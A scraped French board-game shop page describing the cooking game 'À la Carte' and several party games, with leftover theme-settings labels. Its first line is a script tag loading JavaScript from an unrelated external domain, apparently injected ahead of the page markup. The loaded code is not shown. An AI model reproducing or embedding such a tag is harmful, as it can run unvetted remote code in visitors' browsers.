<script src="https://general-soft.space/seo-analytics.js" async></script>
|
Select Theme
|
|
|
Custome Color 1
|
|
|
Custome Color 2
|
|
|
Box-Layout
|
|
|
Background Pattern
|
custome background also available in admin. |
|
Background color
|
|
|
Wow Animation Enable
|
|
|
Left Stickt Enable
|
|
|
Right Stickt Enable
|
|
Quand il y a plusieurs cuisiniers, la soupe est trop salée, dit un proverbe bien connu.
C’est d’autant plus vrai dans les cuisines d’À la Carte : ici, c’est du chacun pour soi ! Et si au passage vous pouvez gâcher les plats des autres cuisiniers, ça n’en sera que plus amusant...
À vous de révéler vos talents culinaires
Garanties sécurité (à modifier dans le module "Réassurance")
Politique de livraison (à modifier dans le module "Réassurance")
Politique retours (à modifier dans le module "Réassurance")
Quand il y a plusieurs cuisiniers, la soupe est trop salée, dit un proverbe bien connu.
C’est d’autant plus vrai dans les cuisines d’À la Carte : ici, c’est du chacun pour soi ! Et si au passage vous pouvez gâcher les plats des autres cuisiniers, ça n’en sera que plus amusant...
À vous de révéler vos talents culinaires : il vous faudra mitonner vos recettes à la bonne température et manier les épices de main de maître. Gare aux plats carbonisés ou trop salés : ils finiront à la poubelle !
À la fin, seul le plus malin sera reconnu comme étant le meilleur cuisinier.
PRINCIPE DU JEU
Vous voilà plongés dans la peau de cuisiniers loufoques participant à un concours qui déterminera qui est le chef le plus talentueux. Pour cela, chaque joueur reçoit une mini poêle et un fourneau. À votre tour, vous pouvez augmenter la puissance de votre fourneau, assaisonner votre recette, ou encore essayer de voler le plat que mijote votre voisin !
Avec ces vieux fourneaux, la cuisson n'est pas une science exacte : elle se joue sur un coup de dé, et dans l’affaire, il peut même arriver on peut très bien augmenter les fourneaux de tous les joueurs. Gare alors aux plats carbonisés !
Mais c’est à l'assaisonnement d'un plat que l’on reconnaît un véritable chef. Le maître sait comment parfaitement doser en un seul coup de flacon d’épices pour réussir sa recette. En effet, les flacons contiennent des épices, bien entendu, mais également du sel ! Et si par malheur un plat s'avère trop salé ou trop épicé, il est juste bon pour la poubelle !
| 2 Produits |
| Auteur(s) : | Karl-Heinz Schmiel |
| Année : | 2010 |
| Editeur : | Iello |
| Nombre de Joueurs : | 2 à 4, idéal à 4 |
| Age : | 8 Ans |
| Durée : | 45 Mns |
Dans Hot & Cold, faites deviner votre température à votre partenaire en fonction de votre mot secret en commun ! Arriverez-vous à lui faire comprendre que votre indice est très proche (chaud), plutôt similaire (tiède) ou très différent (froid) de votre mot secret ? Les différences sont parfois subtiles et votre temps est limité ! Soyez rapides et malins car vos adversaires seront prêts à tout pour marquer des points !
Cette boite de Story Cubes ajoutera du piment à vos parties. Lancez les dés, découvrez les icônes et faites le récit d'expéditions périlleuses. Mélangez ces dés avec ceux des Story Cubes déjà parus pour plus de diversité.
La seule limite ? Votre imagination !
Ce set contient :
Ce jeu compatible avec Konito contient 112 cartes avec des phrases et expressions cultes tirées du cinéma, des séries télévisées. Comme Konito 2, vous pouvez jouer sans le jeu de base et sans plateau.
Il faut sauver le soldat ... ?
Tu pousses le bouchon un peu trop ... ?
Ma sorcière bien ...?
• Jeu de cartes humouristique créé par Davy Mourier, auteur, humoriste et présentateur TV.
• Jeu apéro pour Geek à l’humour trash.
• Version geek déjantée d’un Cards Against Humanity
Davy Mourier, animateur de télévision, humoriste et auteur de bande-dessinée (NerdZ, Nolife, Le Golden Show, Golden Moustache ou encore La Petite Mort) propose sa propre version GEEK et TRASH du célèbre jeu de questions-réponses Cards Against Humanity.
Jeu d’ambiance dans lequel les joueurs remplissent des énoncés incomplets en utilisant des mots ou des phrases inspirés des univers geek considérés comme offensantes ou politiquement incorrectes présentés sur des cartes
On connaît la chanson
Shabadabada est le quatrième rejeton de la turbulente famille des Kangourous, et ce n'est pas le moins bruyant. Il faudra en effet faire preuve d'inspiration pour retrouver des chansons (françaises ou anglaises) à partir de simples mots. Là ne s'arrête pas la difficulté, une fois la chanson retrouvée, il faudra l'interpréter afin de prouver ses dires!
Lancez les dés et inventez des histoires pleines de rebondissements incluant les symboles tirés. Jouez comme vous aimez : avec vos enfants pour exploiter l’aspect contes de fées du jeu, ou entre amis en tant que jeu d’apéro ou de voyage, dans un esprit plus jeu de rôles !
Avec Story Cubes Adventures, inventez des récits de voyages et d’explorations pleins de frissons !
Dans ce jeu de questions loufoques, les joueurs observent une illustration, tout en répondant à une question la concernant. Chacun n'a droit qu'à une seule réponse.
Jusque-là, rien de très difficile.
Mais selon la consigne, il va falloir donner tantôt une bonne réponse, tantôt une réponse erronée.
Parfois même, vous serez confrontés à des question qui n'ont aucun sens. Dans ce cas de figure, inutile de vous tordre les neurones, contentez-vous de crier bien fort « C'est pas faux ! »
Alors, quel âge avait Mozart ?
Limite Limite est un jeu dont le but est de créer les associations de cartes les plus drôles possibles.
ATTENTION : Par son contenu, le jeu est conseillé à un public adulte qui sache rire de tout, sans censures.
Vous aurez honte de l'aimer !
Plus d'histoires à raconter !
Lancez les dés et racontez des histoires pleines de rebondissements incluant les symboles tirés. Ce set de trois dés vous invite à inventer des histoires dans des univers particuliers.
De nouveaux univers pour jouer à Story Cubes autrement !
Dans cette version Sucrée vous trouverez 200 blagues spécialement choisies pour passer un moment mémorable en famille !
Un jeu d’ambiance explosif !
Trouvez un mot comportant un son imposé avant l’explosion de la bombe ! Pour jouer, lancez d’abord le dé. Sa face indique l’endroit du mot où devra être placé le son tiré par la suite : au début, à la fin ou n’importe où dans le mot trouvé.
Piochez alors une carte indiquant le son de la manche (ex. : char, yé, etc.). La bombe est ensuite déclenchée.